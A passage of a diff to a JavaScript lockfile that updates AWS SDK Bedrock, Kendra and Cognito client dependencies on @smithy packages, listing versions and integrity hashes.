- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="],
@@ -5061,12 +4755,8 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -5081,12 +4771,88 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.952.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-ini": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-pj7nidLrb3Dz9llcUPh6N0Yv1dBYTS9xJqi8u0kI8D5sn72HJMB+fIOhcDQVXXAw/dpVolOAH9FOAbog5JDAMg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, "sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-xP5YXbOVRVN8A4pDnSUkEUsL9fYFU6VNhxo8tgr13YnMbf3Pn4xVr+hSyLVjS1Frfi1Uk03ET5Bwml4+0CeYEw=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-jhH7nJuaOpnTFcuZpWK9dqb6Ge2yGi1okTo0W6wkJrfwAm2vwmO74tF1v07JmrSyHBcKLQATEexclJw9K1Vj7w=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+
+ "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+
"@aws-sdk/client-cognito-identity/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qDwCOkhbu5PfaQHyuQ+h57HEx3+eFhKdtIw7aISziWkGdFrMe07yIBd7TJqGe4nxXnRF1pfkg05xeOlMId997g=="],
@@ -5205,12 +4971,8 @@
"@aws-sdk/client-kendra/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@aws-sdk/client-kendra/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@aws-sdk/client-kendra/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
- "@aws-sdk/client-kendra/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
-
"@aws-sdk/client-kendra/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@aws-sdk/client-kendra/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -5225,85 +4987,11 @@
"@aws-sdk/client-kendra/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
- "@aws-sdk/client-kendra/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
